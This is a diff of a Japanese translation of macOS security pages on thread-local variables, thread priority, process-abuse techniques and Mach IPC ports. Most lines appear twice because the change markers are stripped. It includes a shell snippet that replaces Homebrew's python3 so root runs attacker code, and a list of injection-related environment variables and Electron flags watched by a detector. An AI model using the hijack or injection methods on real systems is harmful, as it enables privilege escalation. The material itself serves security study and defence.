**スレッドローカル変数 (TLV)** は、Mach-OファイルmacOSの実行可能ファイルの形式の文脈で、マルチスレッドアプリケーション内の**各スレッド**に特有の変数を宣言するために使用されます。これにより、各スレッドが変数の独自のインスタンスを持ち、ミューテックスのような明示的な同期メカニズムを必要とせずに競合を回避し、データの整合性を維持する方法が提供されます。
**スレッドローカル変数 (TLV)** は、Mach-OファイルmacOSの実行可能ファイルの形式の文脈で、マルチスレッドアプリケーション内の**各スレッド**に特有の変数を宣言するために使用されます。これにより、各スレッドが変数の独自のインスタンスを持ち、ミューテックスのような明示的な同期メカニズムを必要とせずに競合を避け、データの整合性を維持する方法が提供されます。
Cおよび関連言語では、**`__thread`**キーワードを使用してスレッドローカル変数を宣言できます。以下は、あなたの例での動作方法です:
```c
@ -100,36 +100,36 @@ void main (int argc, char **argv){
tlv_var = 10;
}
```
このスニペットは `tlv_var` をスレッドローカル変数として定義しています。このコードを実行している各スレッドは独自の `tlv_var` を持ち、あるスレッドが `tlv_var` に加えた変更は他のスレッドの `tlv_var` に影響を与えません。
このスニペットは `tlv_var` をスレッドローカル変数として定義します。このコードを実行している各スレッドは独自の `tlv_var` を持ち、あるスレッドが `tlv_var` に加えた変更は他のスレッドの `tlv_var` に影響を与えません。
Mach-O バイナリでは、スレッドローカル変数に関連するデータが特定のセクションに整理されています:
- **`__DATA.__thread_vars`**: このセクションには、スレッドローカル変数に関するメタデータが含まれており、変数の型や初期化状態などが記載されています。
- **`__DATA.__thread_bss`**: このセクションは、明示的に初期化されていないスレッドローカル変数に使用されます。ゼロ初期化されたデータのために確保されたメモリの一部です。
- **`__DATA.__thread_bss`**: このセクションは、明示的に初期化されていないスレッドローカル変数に使用されます。ゼロ初期化データのために確保されたメモリの一部です。
Mach-O は、スレッドが終了する際にスレッドローカル変数を管理するための特定の API **`tlv_atexit`** も提供しています。この API を使用すると、スレッドが終了する際にスレッドローカルデータをクリーンアップする特別な関数である **デストラクタ** **登録** できます。
Mach-O は、スレッドが終了する際にスレッドローカル変数を管理するための特定の API **`tlv_atexit`** も提供します。この API を使用すると、スレッドが終了する際にスレッドローカルデータをクリーンアップする特別な関数である **デストラクタ** を登録できます。
### スレッドの優先
### スレッドの優先順位
スレッドの優先を理解するには、オペレーティングシステムがどのスレッドをいつ実行するかを決定する方法を見ていく必要があります。この決定は、各スレッドに割り当てられた優先度レベルによって影響を受けます。macOS および Unix 系システムでは、これを `nice``renice`、および Quality of Service (QoS) クラスのような概念を使用して処理します。
スレッドの優先順位を理解するには、オペレーティングシステムがどのスレッドをいつ実行するかを決定する方法を見ていく必要があります。この決定は、各スレッドに割り当てられた優先度レベルによって影響を受けます。macOS および Unix 系システムでは、`nice``renice`、および Quality of Service (QoS) クラスのような概念を使用してこれを処理します。
#### Nice と Renice
1. **Nice:**
- プロセスの `nice` 値は、その優先度に影響を与える数値です。すべてのプロセスには -20最高優先度から 19最低優先度までの範囲の nice 値があります。プロセスが作成されるときのデフォルトの nice 値は通常 0 です。
- より低い nice 値(-20 に近い)は、プロセスをより「自己中心的」にし、他のプロセスより多くの CPU 時間を与えます。
- より低い nice 値(-20 に近い)は、プロセスをより「自己中心的」にし、より高い nice 値を持つ他のプロセスと比較して、より多くの CPU 時間を与えます。
2. **Renice:**
- `renice` は、すでに実行中のプロセスの nice 値を変更するために使用されるコマンドです。これを使用して、プロセスの優先度を動的に調整し、新しい nice 値に基づいて CPU 時間の割り当てを増減できます。
- `renice` は、すでに実行中のプロセスの nice 値を変更するために使用されるコマンドです。これを使用して、プロセスの優先度を動的に調整し、新しい nice 値に基づいて CPU 時間の割り当てを増減させることができます。
- たとえば、プロセスが一時的により多くの CPU リソースを必要とする場合、`renice` を使用してその nice 値を下げることができます。
#### Quality of Service (QoS) クラス
QoS クラスは、特に **Grand Central Dispatch (GCD)** をサポートする macOS のようなシステムでスレッドの優先を処理するためのより現代的なアプローチです。QoS クラスを使用すると、開発者は作業をその重要性や緊急性に基づいて異なるレベルに **分類** できます。macOS はこれらの QoS クラスに基づいてスレッドの優先を自動的に管理します:
QoS クラスは、特に **Grand Central Dispatch (GCD)** をサポートする macOS のようなシステムでスレッドの優先順位を処理するためのより現代的なアプローチです。QoS クラスを使用すると、開発者は作業をその重要性や緊急性に基づいて異なるレベルに **分類** できます。macOS はこれらの QoS クラスに基づいてスレッドの優先順位を自動的に管理します:
1. **ユーザーインタラクティブ:**
- このクラスは、現在ユーザーと対話しているタスクや、良好なユーザーエクスペリエンスを提供するために即時の結果を必要とするタスクに使用されます。これらのタスクは、インターフェースを応答性のあるものに保つために最高の優先度が与えられます(例:アニメーションやイベント処理)。
- このクラスは、現在ユーザーと対話しているタスクや、良好なユーザーエクスペリエンスを提供するために即時の結果を必要とするタスクに使用されます。これらのタスクには、インターフェースを応答させるために最高の優先度が与えられます(例:アニメーションやイベント処理)。
2. **ユーザー開始:**
- ユーザーが開始し、即時の結果を期待するタスク(例:ドキュメントを開く、計算を必要とするボタンをクリックするなど)。これらは高優先度ですが、ユーザーインタラクティブよりは低いです。
- ユーザーが開始し、即時の結果を期待するタスク(例:ドキュメントを開く、計算を必要とするボタンをクリックする)です。これらは高優先度ですが、ユーザーインタラクティブの下に位置します。
3. **ユーティリティ:**
- これらのタスクは長時間実行され、通常は進行状況インジケーターを表示します(例:ファイルのダウンロード、データのインポート)。これらはユーザー開始タスクよりも優先度が低く、即座に完了する必要はありません。
4. **バックグラウンド:**
@ -137,7 +137,7 @@ QoS クラスは、特に **Grand Central Dispatch (GCD)** をサポートする
QoS クラスを使用することで、開発者は正確な優先度番号を管理する必要がなく、タスクの性質に焦点を当てることができ、システムはそれに応じて CPU リソースを最適化します。
さらに、スレッドスケジューリングポリシーが異なり、スケジューラが考慮する一連のスケジューリングパラメータを指定することができます。これは `thread_policy_[set/get]` を使用して行うことができます。これはレースコンディション攻撃に役立つかもしれません。
さらに、スレッドスケジューリングポリシーの異なる **スレッドスケジューリングポリシー** があり、スケジューラが考慮する一連のスケジューリングパラメータを指定します。これは `thread_policy_[set/get]` を使用して行うことができます。これはレースコンディション攻撃に役立つかもしれません。
## MacOS プロセスの悪用
@ -145,15 +145,15 @@ MacOS は、他のオペレーティングシステムと同様に、**プロセ
### ライブラリインジェクション
ライブラリインジェクションは、攻撃者が **プロセスに悪意のあるライブラリをロードさせる** 技術です。一度注入されると、ライブラリはターゲットプロセスのコンテキストで実行され、攻撃者はプロセスと同じ権限とアクセスを得ることができます。
ライブラリインジェクションは、攻撃者が **プロセスに悪意のあるライブラリをロードさせる** 技術です。一度注入されると、ライブラリはターゲットプロセスのコンテキストで実行され、攻撃者にプロセスと同じ権限とアクセスを提供します。
{{#ref}}
macos-library-injection/
{{#endref}}
### 関数フッキング
### 関数フッ
関数フッキングは、ソフトウェアコード内の **関数呼び出し**メッセージを **傍受する** ことを含みます。関数をフックすることで、攻撃者はプロセスの **動作を変更** したり、機密データを観察したり、実行フローを制御したりすることができます。
関数フックは、ソフトウェアコード内の **関数呼び出し** またはメッセージを **傍受する** ことを含みます。関数をフックすることで、攻撃者はプロセスの **動作を変更** したり、機密データを観察したり、実行フローを制御したりすることができます。
{{#ref}}
macos-function-hooking.md
@ -161,7 +161,7 @@ macos-function-hooking.md
### プロセス間通信
プロセス間通信 (IPC) は、別々のプロセスが **データを共有し、交換する** 方法を指します。IPC は多くの正当なアプリケーションにとって基本的ですが、プロセスの隔離を破ったり、機密情報を漏洩させたり、無許可のアクションを実行するために悪用される可能性もあります。
プロセス間通信 (IPC) は、別々のプロセスが **データを共有し、交換する** 方法を指します。IPC は多くの正当なアプリケーションにとって基本的ですが、プロセスの隔離を覆したり、機密情報を漏洩させたり、無許可のアクションを実行するために悪用される可能性もあります。
{{#ref}}
macos-ipc-inter-process-communication/
@ -185,7 +185,7 @@ macos-chromium-injection.md
### ダーティ NIB
NIB ファイルは **ユーザーインターフェース (UI) 要素** とその相互作用をアプリケーション内で定義します。しかし、これらは **任意のコマンドを実行する** ことができ、**Gatekeeper はすでに実行されたアプリケーションが **NIB ファイルが変更されても** 実行されるのを止めません**。したがって、これらは任意のプログラムが任意のコマンドを実行するために使用される可能性があります:
NIB ファイルは **ユーザーインターフェース (UI) 要素** とそのアプリケーション内での相互作用を **定義します**。ただし、これらは **任意のコマンドを実行することができ**、**NIB ファイルが変更されても** すでに実行されたアプリケーションの実行を止めることはできません。したがって、任意のプログラムが任意のコマンドを実行するために使用される可能性があります:
{{#ref}}
macos-dirty-nib.md
@ -193,7 +193,7 @@ macos-dirty-nib.md
### Java アプリケーションのインジェクション
特定の Java 機能(**`_JAVA_OPTS`** 環境変数などを悪用して、Java アプリケーションが **任意のコード/コマンドを実行する** ことが可能です。
特定の Java 機能(**`_JAVA_OPTS`** 環境変数などを悪用して、Java アプリケーションが **任意のコード/コマンドを実行する** ようにすることが可能です。
{{#ref}}
macos-java-apps-injection.md
@ -201,7 +201,7 @@ macos-java-apps-injection.md
### .Net アプリケーションのインジェクション
**.Net デバッグ機能** を悪用して.Net アプリケーションにコードを注入することが可能ですmacOS の保護(ランタイムハードニングなど)によって保護されていません)。
**.Net デバッグ機能** を悪用して .Net アプリケーションにコードを注入することが可能ですmacOS の保護(ランタイムハードニングなど)によって保護されていません)。
{{#ref}}
macos-.net-applications-injection.md
@ -209,7 +209,7 @@ macos-.net-applications-injection.md
### Perl インジェクション
Perl スクリプトが任意のコードを実行するためのさまざまなオプションを確認してください
Perl スクリプトが任意のコードを実行するためのさまざまなオプションを確認します
{{#ref}}
macos-perl-applications-injection.md
@ -234,7 +234,7 @@ macos-ruby-applications-injection.md
> [!CAUTION]
> 全体として、環境変数を悪用して Python が任意のコードを実行する方法を見つけることができませんでした。\
> ただし、ほとんどの人は **Hombrew** を使用して Python をインストールし、デフォルトの管理者ユーザーのために **書き込み可能な場所** に Python をインストールします。次のようにハイジャックできます:
> ただし、ほとんどの人は **Homebrew** を使用して Python をインストールし、デフォルトの管理者ユーザーのために **書き込み可能な場所** に Python をインストールします。次のようにハイジャックできます:
>
> ```bash
> mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old
@ -246,24 +246,24 @@ macos-ruby-applications-injection.md
> chmod +x /opt/homebrew/bin/python3
> ```
>
> これにより、**root** も Python を実行する際にこのコードを実行します。
> これにより、**root** でも Python を実行する際にこのコードが実行されます。
## 検出
### Shield
[**Shield**](https://theevilbit.github.io/shield/) ([**Github**](https://github.com/theevilbit/Shield)) は、**プロセスインジェクション** アクションを **検出し、ブロックする** ことができるオープンソースアプリケーションです:
[**Shield**](https://theevilbit.github.io/shield/) ([**Github**](https://github.com/theevilbit/Shield)) は、**プロセスインジェクション** アクションを **検出およびブロック** できるオープンソースアプリケーションです:
- **環境変数を使用**: 次の環境変数のいずれかの存在を監視します: **`DYLD_INSERT_LIBRARIES`**、**`CFNETWORK_LIBRARY_PATH`**、**`RAWCAMERA_BUNDLE_PATH`** および **`ELECTRON_RUN_AS_NODE`**
- **`task_for_pid`** 呼び出しを使用: あるプロセスが他のプロセスの **タスクポートを取得しようとする** 時を見つけるために使用され、これによりプロセスにコードを注入できます。
- **Electron アプリのパラメータ**: 誰かが **`--inspect`**、**`--inspect-brk`** および **`--remote-debugging-port`** コマンドライン引数を使用して Electron アプリをデバッグモードで起動し、コードを注入することができます。
- **シンボリックリンク** または **ハードリンク** を使用: 一般的な悪用は、**ユーザー権限でリンクを配置し、より高い権限の場所を指す** ことです。リンクを作成するプロセスがターゲットファイルとは **異なる権限レベル** を持っている場合、**アラート** を作成します。残念ながら、シンボリックリンクの場合、作成前にリンクの宛先に関する情報がないため、ブロックは不可能です。これは Apple の EndpointSecuriy フレームワークの制限です。
- **Electron アプリのパラメータ**: 誰かが **`--inspect`**、**`--inspect-brk`** および **`--remote-debugging-port`** コマンドライン引数を使用して、デバッグモードで Electron アプリを起動し、コードを注入することができます。
- **シンボリックリンク** または **ハードリンク** を使用: 一般的な悪用は、**ユーザー権限でリンクを作成し**、**より高い権限の** 場所を指すことです。リンクを作成するプロセスがターゲットファイルとは **異なる権限レベル** を持っている場合、**アラート** を作成します。残念ながら、シンボリックリンクの場合、作成前にリンクの宛先に関する情報がないため、ブロックは不可能です。これは Apple の EndpointSecurity フレームワークの制限です。
### 他のプロセスによって行われた呼び出し
[**このブログ記事**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html) では、関数 **`task_name_for_pid`** を使用して、他の **プロセスがプロセスにコードを注入している** 情報を取得し、その他のプロセスに関する情報を取得する方法を見つけることができます。
[**このブログ記事**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html) では、**`task_name_for_pid`** 関数を使用して、他の **プロセスがプロセスにコードを注入している** 情報を取得し、その他のプロセスに関する情報を取得する方法を見つけることができます。
この関数を呼び出すには、プロセスを実行しているのと **同じ uid** であるか、**root** である必要があります(この関数はプロセスに関する情報を返し、コードを注入する方法を返すわけではありません)。
この関数を呼び出すには、**プロセスを実行しているのと同じ uid** であるか、**root** である必要があります(この関数はプロセスに関する情報を返し、コードを注入する方法を返すわけではありません)。
## 参考文献

View File

@ -6,7 +6,7 @@
### 基本情報
Machはリソースを共有するための**最小単位**として**タスク**を使用し、各タスクは**複数のスレッド**を含むことができます。これらの**タスクとスレッドはPOSIXプロセスとスレッドに1:1でマッピングされます**。
Machはリソースを共有するための**最小単位**として**タスク**を使用し、各タスクは**複数のスレッド**を含むことができます。これらの**タスクとスレッドはPOSIXプロセスとスレッドに1:1でマッピングされています**。
タスク間の通信はMach Inter-Process Communication (IPC)を介して行われ、一方向の通信チャネルを利用します。**メッセージはポート間で転送され**、これらはカーネルによって管理される**メッセージキュー**のようなものです。
@ -14,7 +14,7 @@ Machはリソースを共有するための**最小単位**として**タスク*
各プロセスには**IPCテーブル**があり、そこには**プロセスのmachポート**が見つかります。machポートの名前は実際には番号カーネルオブジェクトへのポインタです。
プロセスは、いくつかの権利を持つポート名を**別のタスクに送信することもでき**、カーネルはこのエントリを**他のタスクのIPCテーブル**に表示させます。
プロセスは、**異なるタスク**に権利を持つポート名を送信することもでき、カーネルはこのエントリを**他のタスクのIPCテーブル**に表示させます。
### ポート権限
@ -25,13 +25,13 @@ Machはリソースを共有するための**最小単位**として**タスク*
- 受信権限の所有者が**死亡**するか、それを殺すと、**送信権限は無効になります(デッドネーム)。**
- **送信権限**は、ポートにメッセージを送信することを許可します。
- 送信権限は**クローン**可能で、送信権限を持つタスクはその権限をクローンし、**第三のタスクに付与**できます。
- **ポート権限**はMacメッセージを介しても**渡すことができます**。
- **ポート権限**はMacメッセージを介して**渡すこともできます**。
- **一度だけの送信権限**は、ポートに1つのメッセージを送信し、その後消失します。
- この権限は**クローンできません**が、**移動することできます**。
- この権限は**クローンできません**が、**移動することできます**。
- **ポートセット権限**は、単一のポートではなく、_ポートセット_を示します。ポートセットからメッセージをデキューすると、その中の1つのポートからメッセージがデキューされます。ポートセットは、Unixの`select`/`poll`/`epoll`/`kqueue`のように、複数のポートを同時にリッスンするために使用できます。
- **デッドネーム**は実際のポート権限ではなく、単なるプレースホルダーです。ポートが破棄されると、そのポートに対するすべての既存のポート権限はデッドネームに変わります。
**タスクは他のタスクにSEND権限を転送でき**それによりメッセージを返送することが可能になります。**SEND権限もクローン可能で、タスクはその権限を複製して第三のタスクに与えることができます**。これにより、**ブートストラップサーバー**と呼ばれる仲介プロセスを組み合わせることで、タスク間の効果的な通信が可能になります。
**タスクは他のタスクにSEND権限を転送**でき、メッセージを返送することが可能になります。**SEND権限もクローン可能で、タスクはその権限を複製して第三のタスクに与えることができます**。これにより、**ブートストラップサーバー**と呼ばれる仲介プロセスを組み合わせることで、タスク間の効果的な通信が可能になります。
### ファイルポート
@ -41,9 +41,9 @@ Machはリソースを共有するための**最小単位**として**タスク*
前述のように、Machメッセージを使用して権限を送信することは可能ですが、**Machメッセージを送信する権限を持っていないと権限を送信することはできません**。では、最初の通信はどのように確立されるのでしょうか?
これには、**ブートストラップサーバー**macでは**launchd**)が関与します。**誰でもブートストラップサーバーにSEND権限を取得できるため**、他のプロセスにメッセージを送信する権限を要求することが可能です:
これには、**ブートストラップサーバー**mac**launchd**)が関与します。**誰でもブートストラップサーバーにSEND権限を取得できるため**、他のプロセスにメッセージを送信する権限を要求することが可能です:
1. タスク**A**が**新しいポート**を作成し、そのポートに対して**受信権限**を取得します。
1. タスク**A**が**新しいポート**を作成し、そのポートに対する**受信権限**を取得します。
2. タスク**A**は、受信権限の保持者として、**ポートのための送信権限を生成**します。
3. タスク**A**は**ブートストラップサーバー**との**接続**を確立し、最初に生成したポートのための**送信権限を送信**します。
- 誰でもブートストラップサーバーにSEND権限を取得できることを忘れないでください。
@ -53,15 +53,15 @@ Machはリソースを共有するための**最小単位**として**タスク*
6. このSEND権限を持って、**タスクB**は**タスクAにメッセージを送信**することができます。
7. 双方向通信のために、通常タスク**B**は**受信**権限と**送信**権限を持つ新しいポートを生成し、**タスクAにSEND権限を与えて、タスクBにメッセージを送信できるようにします**(双方向通信)。
ブートストラップサーバーは、タスクが主張するサービス名を**認証することはできません**。これは、**タスク**が任意のシステムタスクを**偽装する可能性がある**ことを意味し、例えば、偽の**認証サービス名を主張し、すべてのリクエストを承認する**ことができます。
ブートストラップサーバーは、タスクが主張するサービス名を**認証することはできません**。これは、**タスク**が任意のシステムタスクを**偽装する可能性がある**ことを意味し、誤って**認証サービス名を主張し、すべてのリクエストを承認する**ことができます。
その後、Appleは**システム提供サービスの名前**を安全な設定ファイルに保存し、**SIP保護された**ディレクトリに配置します:`/System/Library/LaunchDaemons`および`/System/Library/LaunchAgents`。各サービス名に対して、**関連するバイナリも保存されます**。ブートストラップサーバーは、これらのサービス名の**受信権限を作成し保持します**。
その後、Appleは**システム提供サービスの名前**を安全な構成ファイルに保存し、**SIP保護された**ディレクトリに配置します:`/System/Library/LaunchDaemons`および`/System/Library/LaunchAgents`。各サービス名に対して、**関連するバイナリも保存されます**。ブートストラップサーバーは、これらのサービス名の**受信権限を作成し保持します**。
これらの事前定義されたサービスに対して、**ルックアッププロセスはわずかに異なります**。サービス名がルックアップされると、launchdはサービスを動的に開始します。新しいワークフローは次のようになります
- タスク**B**がサービス名のブートストラップ**ルックアップ**を開始します。
- **launchd**はタスクが実行中かどうかを確認し、実行されていない場合は**開始**します。
- タスク**A**(サービス)は**ブートストラップチェックイン**`bootstrap_check_in()`)を実行します。ここで、**ブートストラップ**サーバーはSEND権限を作成し、それを保持し、**受信権限をタスクAに転送します**。
- タスク**A**(サービス)は**ブートストラップチェックイン**`bootstrap_check_in()`)を実行します。ここで、**ブートストラップ**サーバーはSEND権限を作成し、それを保持し、**タスクAに受信権限を転送します**。
- launchdは**SEND権限を複製し、タスクBに送信します**。
- タスク**B**は**受信**権限と**送信**権限を持つ新しいポートを生成し、**タスクA**svcにSEND権限を与えて、タスクBにメッセージを送信できるようにします双方向通信
@ -74,7 +74,7 @@ Machはリソースを共有するための**最小単位**として**タスク*
[詳細情報はこちら](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
`mach_msg`関数は、実質的にシステムコールであり、Machメッセージの送信と受信に使用されます。この関数は、最初の引数として送信されるメッセージを必要とします。このメッセージは、`mach_msg_header_t`構造体で始まり、その後に実際のメッセージ内容が続きます。この構造体は次のように定義されています:
`mach_msg`関数は、基本的にシステムコールであり、Machメッセージの送信と受信に使用されます。この関数は、送信されるメッセージを最初の引数として必要とします。このメッセージは、`mach_msg_header_t`構造体で始まり、その後に実際のメッセージ内容が続きます。この構造体は次のように定義されています:
```c
typedef struct {
mach_msg_bits_t msgh_bits;
@ -89,13 +89,13 @@ mach_msg_id_t msgh_id;
初期フィールド **`msgh_bits`** はビットマップです:
- 最初のビット(最も重要なビット)は、メッセージが複雑であることを示すために使用されます(詳細は以下)
- 3番目と4番目はカーネルによって使用されます
- 最初のビット(最も重要なビット)は、メッセージが複雑であることを示すために使用されます(詳細は以下に記載
- 3番目と4番目はカーネルによって使用されます
- 2バイト目の **5つの最下位ビット****バウチャー** に使用できます:キー/値の組み合わせを送信するための別のタイプのポートです。
- 3バイト目の **5つの最下位ビット****ローカルポート** に使用できます
- 4バイト目の **5つの最下位ビット****リモートポート** に使用できます
- 3バイト目の **5つの最下位ビット****ローカルポート** に使用できます
- 4バイト目の **5つの最下位ビット****リモートポート** に使用できます
バウチャー、ローカルポート、リモートポートで指定できるタイプは次の通りです([**mach/message.h**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)から):
バウチャー、ローカルポート、リモートポートで指定できるタイプは次の通りです([**mach/message.h**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html) から):
```c
#define MACH_MSG_TYPE_MOVE_RECEIVE 16 /* Must hold receive right */
#define MACH_MSG_TYPE_MOVE_SEND 17 /* Must hold send right(s) */
@ -108,12 +108,12 @@ mach_msg_id_t msgh_id;
#define MACH_MSG_TYPE_DISPOSE_SEND 25 /* must hold send right(s) */
#define MACH_MSG_TYPE_DISPOSE_SEND_ONCE 26 /* must hold sendonce right */
```
例えば、`MACH_MSG_TYPE_MAKE_SEND_ONCE`は、このポートに対して**送信一次権限**を導出して転送することを**示す**ために使用できます。また、受信者が応答できないようにするため`MACH_PORT_NULL`を指定することもできます。
例えば、`MACH_MSG_TYPE_MAKE_SEND_ONCE`は、このポートに対して**送信一回**の**権利**を導出し転送することを**示す**ために使用できます。また、受信者が応答できないように`MACH_PORT_NULL`を指定することもできます。
簡単な**双方向通信**を実現するために、プロセスは**メッセージヘッダー**内に_応答ポート_**`msgh_local_port`**)と呼ばれる**machポート**を指定することができ、メッセージの**受信者**はこのメッセージに**応答を送信**できます。
簡単な**双方向通信**を実現するために、プロセスは**メッセージヘッダー**内に**リプライポート****`msgh_local_port`**)と呼ばれる**machポート**を指定することができ、メッセージの**受信者**はこのメッセージに**応答を送信**できます。
> [!TIP]
> この種の双方向通信は、再生を期待するXPCメッセージ`xpc_connection_send_message_with_reply`および`xpc_connection_send_message_with_reply_sync`で使用されることに注意してください。しかし、**通常は異なるポートが作成され**、前述のように双方向通信を作成します。
> この種の双方向通信は、応答を期待するXPCメッセージで使用されることに注意してください`xpc_connection_send_message_with_reply`および`xpc_connection_send_message_with_reply_sync`)。しかし、**通常は異なるポートが作成され**、前述のように双方向通信を作成します。
メッセージヘッダーの他のフィールドは次のとおりです:
@ -123,17 +123,17 @@ mach_msg_id_t msgh_id;
- `msgh_id`: このメッセージのIDで、受信者によって解釈されます。
> [!CAUTION]
> **machメッセージは`mach port`を介して送信される**ことに注意してください。これは**単一受信者**、**複数送信者**の通信チャネルで、machカーネルに組み込まれています。**複数のプロセス**がmachポートに**メッセージを送信**できますが、いつでも**単一のプロセスのみが**それから読み取ることができます。
> **machメッセージは`mach port`を介して送信される**ことに注意してください。これは**単一受信者**、**複数送信者**の通信チャネルで、machカーネルに組み込まれています。**複数のプロセス**がmachポートに**メッセージを送信**できますが、いつでも**単一のプロセスのみが**それ読み取ることができます。
メッセージは、**`mach_msg_header_t`**ヘッダーの後に**本体**、および**トレーラー**(ある場合)で構成され、応答する権限を付与することができます。この場合、カーネルはメッセージを一つのタスクから別のタスクに渡すだけで済みます。
メッセージは、**`mach_msg_header_t`**ヘッダーの後に**本体**と**トレーラー**(ある場合)で構成され、応答の許可を与えることができます。この場合、カーネルはメッセージを一つのタスクから別のタスクに渡すだけで済みます。
**トレーラー**は、カーネルによってメッセージに**追加される情報**(ユーザーによって設定できない)で、フラグ`MACH_RCV_TRAILER_<trailer_opt>`を使用してメッセージ受信時に要求できます(要求できる情報は異なります)。
#### 複雑なメッセージ
ただし、追加のポート権限を渡したり、メモリを共有したりするような、より**複雑な**メッセージもあります。この場合、カーネルはこれらのオブジェクトを受信者に送信する必要があります。この場合、ヘッダーの最上位ビット`msgh_bits`が設定されます。
しかし、追加のポート権を渡したり、メモリを共有したりするような、より**複雑な**メッセージもあります。この場合、カーネルはこれらのオブジェクトを受信者に送信する必要があります。この場合、ヘッダーの最上位ビット`msgh_bits`が設定されます。
渡す可能な記述子は、[**`mach/message.h`**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)で定義されています:
渡す可能なディスクリプタは、[**`mach/message.h`**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)で定義されています:
```c
#define MACH_MSG_PORT_DESCRIPTOR 0
#define MACH_MSG_OOL_DESCRIPTOR 1
@ -155,20 +155,20 @@ In 32ビットでは、すべてのディスクリプタは12Bで、ディスク
> [!CAUTION]
> カーネルは、あるタスクから別のタスクにディスクリプタをコピーしますが、最初に**カーネルメモリにコピーを作成します**。この技術は「風水」として知られ、いくつかのエクスプロイトで悪用され、**カーネルがそのメモリにデータをコピーする**ことを可能にし、プロセスが自分自身にディスクリプタを送信します。その後、プロセスはメッセージを受信できます(カーネルがそれらを解放します)。
>
> また、**脆弱なプロセスにポート権を送信する**ことも可能で、ポート権はプロセスに表示されます(たとえそのプロセスがそれらを処理していなくても)。
> また、**脆弱なプロセスにポート権を送信する**ことも可能で、ポート権はプロセスに現れます(たとえそのプロセスがそれらを扱っていなくても)。
### Mac Ports APIs
ポートはタスクネームスペースに関連付けられているため、ポートを作成または検索するには、タスクネームスペースもクエリされます(詳細は`mach/mach_port.h`を参照
ポートはタスクネームスペースに関連付けられているため、ポートを作成または検索するには、タスクネームスペースもクエリされます(`mach/mach_port.h`の詳細
- **`mach_port_allocate` | `mach_port_construct`**: **ポートを作成**します。
- `mach_port_allocate`は**ポートセット**も作成できます:ポートのグループに対する受信権。メッセージが受信されると、どのポートから受信されたかが示されます。
- `mach_port_allocate_name`: ポートの名前を変更しますデフォルトは32ビット整数
- `mach_port_names`: ターゲットからポート名を取得します
- `mach_port_type`: 名前に対するタスクの権利を取得します
- `mach_port_rename`: ポートの名前を変更しますFDのdup2のように
- `mach_port_allocate`: 新しいRECEIVE、PORT_SETまたはDEAD_NAMEを割り当てます
- `mach_port_insert_right`: RECEIVEを持つポートに新しい権利を作成します
- `mach_port_allocate_name`: ポートの名前を変更しますデフォルトは32ビット整数
- `mach_port_names`: ターゲットからポート名を取得します
- `mach_port_type`: 名前に対するタスクの権利を取得します
- `mach_port_rename`: ポートの名前を変更しますFDのdup2のように
- `mach_port_allocate`: 新しいRECEIVE、PORT_SETまたはDEAD_NAMEを割り当てます
- `mach_port_insert_right`: RECEIVEを持つポートに新しい権利を作成します
- `mach_port_...`
- **`mach_msg`** | **`mach_msg_overwrite`**: **machメッセージを送受信するために使用される関数**。オーバーライトバージョンでは、メッセージ受信のために異なるバッファを指定できます(他のバージョンはそれを再利用します)。
@ -176,7 +176,7 @@ In 32ビットでは、すべてのディスクリプタは12Bで、ディスク
**`mach_msg`**および**`mach_msg_overwrite`**関数はメッセージを送受信するために使用されるため、これらにブレークポイントを設定すると、送信されたメッセージと受信されたメッセージを検査できます。
たとえば、デバッグ可能な任意のアプリケーションをデバッグし始めると、**`libSystem.B`がロードされ、この関数を使用します**。
たとえば、デバッグ可能なアプリケーションをデバッグし始めると、**`libSystem.B`がロードされ、この関数を使用します**。
<pre class="language-armasm"><code class="lang-armasm"><strong>(lldb) b mach_msg
</strong>Breakpoint 1: where = libsystem_kernel.dylib`mach_msg, address = 0x00000001803f6c20
@ -268,10 +268,10 @@ name ipc-object rights flags boost reqs recv send sonce oref q
[...]
```
**名前**はポートに与えられたデフォルトの名前です最初の3バイトでどのように**増加**しているかを確認してください)。**`ipc-object`**はポートの**難読化された**一意の**識別子**です。\
また、**`send`**権限のみを持つポートがそれを**所有している者を特定**していることにも注意してください(ポート名 + pid。\
さらに、**`+`**を使用して**同じポートに接続された他のタスク**を示していることにも注意してください。
また、**`send`**権限のみを持つポートがそれを**所有している者を特定している**ことにも注意してください(ポート名 + pid。\
同じポートに**接続されている他のタスク**を示すために**`+`**が使用されていることにも注意してください。
また、[**procesxp**](https://www.newosxbook.com/tools/procexp.html)を使用して、**登録されたサービス名**`com.apple.system-task-port`の必要性によりSIPが無効になっている場合も確認できます:
また、[**procesxp**](https://www.newosxbook.com/tools/procexp.html)を使用して、**登録されたサービス名**`com.apple.system-task-port`の必要性からSIPが無効になっている場合も確認することができます:
```
procesp 1 ports
```
@ -279,7 +279,7 @@ procesp 1 ports
### コード例
**送信者**がポートを**割り当て**、名前 `org.darlinghq.example` のため**送信権**を作成し、それを**ブートストラップサーバー**に送信する様子に注意してください。送信者はその名前の**送信権**を要求し、それを使用して**メッセージを送信**しました。
**送信者**がポートを**割り当て**、名前 `org.darlinghq.example` のため**送信権**を作成し、それを**ブートストラップサーバー**に送信する様子に注意してください。送信者はその名前の**送信権**を要求し、それを使用して**メッセージを送信**しました。
{{#tabs}}
{{#tab name="receiver.c"}}
@ -407,16 +407,16 @@ printf("Sent a message\n");
## 特権ポート
特定のタスクが**SEND**権限を持っている場合、**特定の敏感なアクションを実行したり、特定の敏感なデータにアクセスしたりする**ことを可能にする特別なポートがあります。これにより、攻撃者の視点からこれらのポートは非常に興味深いものとなります。なぜなら、機能だけでなく、**タスク間でSEND権限を共有する**ことが可能だからです。
特定のタスクがそれらに対して**SEND**権限を持つ場合、**特定の敏感なアクションを実行したり、特定の敏感なデータにアクセスしたりする**ことを可能にする特別なポートがあります。これにより、攻撃者の視点からこれらのポートは非常に興味深いものとなります。なぜなら、機能だけでなく、**タスク間でSEND権限を共有する**ことが可能だからです。
### ホスト特別ポート
これらのポートは番号で表されます。
